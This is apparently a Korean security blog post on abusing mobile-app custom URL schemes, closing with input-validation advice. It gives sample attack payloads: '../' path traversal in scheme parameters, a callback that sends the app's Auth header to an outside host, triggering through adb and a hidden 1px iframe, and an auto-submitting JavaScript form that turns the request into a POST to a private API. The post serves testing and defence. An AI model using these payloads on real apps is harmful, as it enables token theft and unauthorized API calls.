Custom Scheme API Path Manipulation과 트릭을 이용한 API Method 변조

앱을 테스트 하다보면 Custom Scheme에서 발생한 API 요청 중 일부에 대해 주소 변조나 API 로직을 바꿀 수 있는 부분이 있을 때가 있습니다. 다만 실제로 중요한 요청들은 RESTful 하다면 POST/PUT/DELETE 등으로 구현되는데요. 웹을 컨트롤할 수 있는 앱 스킴들은 보통 GET 요청으로 강제되기 때문에 우리를 불편하게 하곤 합니다.

그래서 생각하다보니 재미있는 방법이 나와서 공유드립니다.

Custom Scheme API Path Manipulation

보통 자주 점검하는 방법이지만, 이런 공격 방법을 지칭하는 말이 있는지는 모르겠네요. 그래서 저는 그냥 Custom Scheme API Path Manipulation 란 단어로 표현하곤 합니다. 어떤 방식인지 살펴보죠.

testapp://auth?user={user input}

이를 통해 발생하는 요청은

GET /auth/checkuser/{user input}/name
Auth: a7656465a78a9765a4a5...

이렇다고 할 때 이 스킴은 API Path 변조의 위협이 있겠죠.

Attack Scheme

testapp://auth?user=../../myapi?

Request

GET /auth/checkuser/../../myapi?/name
Auth: a7656465a78a9765a4a5...

실제로 처리될 땐..

GET /myapi?/name
Auth: a7656465a78a9765a4a5...

개발자의 의도와는 다르게 공격자는 PATH를 바꿀 수 있느데, 이때 HTTP Method는 GET으로 한정됩니다.. (현재 기준으론) 간혹 이런 경우도 있습니다.

Attack Scheme

testapp://auth?callback=https:///www.hahwul.com

Request

GET /auth/
Host www.hahwul.com
Auth: a7656465a78a9765a4a5...

Using android.intent.action

adb로는 아래와 같습니다. 웹에서도 intent를 불러 공격을 할 수 있죠.

adb shell am start -a android.intent.action.VIEW -d "testapp://auth?callback=https:///www.hahwul.com"

Using Web

테스트코드로는 별로지만 실제로는 이쪽이 더 사용성이 높습니다.

<iframe src="testapp://auth?callback=https:///www.hahwul.com" style="width:1px;height:1px;">
</iframe>

Change Method in WebView/Browser

보통 GET 단위에서의 변조도 분명 무시하진 못합니다. 중요 헤더나 인증쿠키, API Key 등이 같이 사용되기 떄문에 Native 레벨에서의 API과 동일하기 떄문이죠. 그치만, POST 등 다른 메소드를 쓸 수 있을 때 좀 더 중요한 기능들을 호출할 수 있게됩니다.

API가 Navtive단에서 직접 호출한다면 메소드를 변조하긴 어렵지만, 만약 웹 뷰나 인앱 브라우저를 통해 호출되는 경우 브라우징 엔진이 Javascript 등을 읽고 동작시키기 때문에 form이나 js 코드단에서의 Request 재 생성 시 메소드를 바꿀 수 있습니다. 이러한 공격을 위해선 API 도메인 내 redirect 페이지가 있거나, 공격자가 심어둔 공격코드 페이지를 호출할 수 있는 조건이 필요하겠죠.

<form action="" id="f">
</form>
<script>
  var f = document.getElementById('f');
  f.action="https://target_domain"+document.location.hash.replace('#','');
  f.method='post';
  f.submit();
</script>

이제 이걸 약간 적용해보면..

Attack Scheme

testapp://auth?callback=https://192.168.0.13/test.html#/private/api/call

Request Step

[ Request 1 ]
GET /test.html
Host: 192.168.0.13
Auth: a7656465a78a9765a4a5...

[ Response 1 ]
200 OK
....
<form action="" id="f">
</form>
<script>
  var f = document.getElementById('f');
  f.action="https://target_domain"+document.location.pathname;
  f.method='post';
  f.submit();
</script>

[ Final Request ]

POST /private/api/call
Host: target_domain
Auth: a7656465a78a9765a4a5...

결과적으론 /private/api/call을 POST로 호출하게 됩니다.

How to defense?

결국 입력값 검증에 대한 문제입니다. 대부분 Custom Scheme으로 들어온 값에 대해선 ../ 등의 구문을 Escape 하지 않는 경우가 많은데 보편적인 웹 공격에 쓰이는 대다수의 구문은 막아두는게 좋습니다. 또한 다바이스로 넘어가서 처리되는 부분이라 인코딩쪽으로 우회 케이스가 굉장히 많을텐데, 이 또한 잘 디코딩해서 Escape가 필요할 것 같습니다.

보통 Scheme 파라미터에 들어오는 값은 어느정도 정해져있으니(타입이나 값의 특징들?) 허용범위(예를들면 변수 타입이 Int가 아닌경우..)를 벗어났을 떄 차단하는 방식으로 대응하면 좀 더 효과적입니다.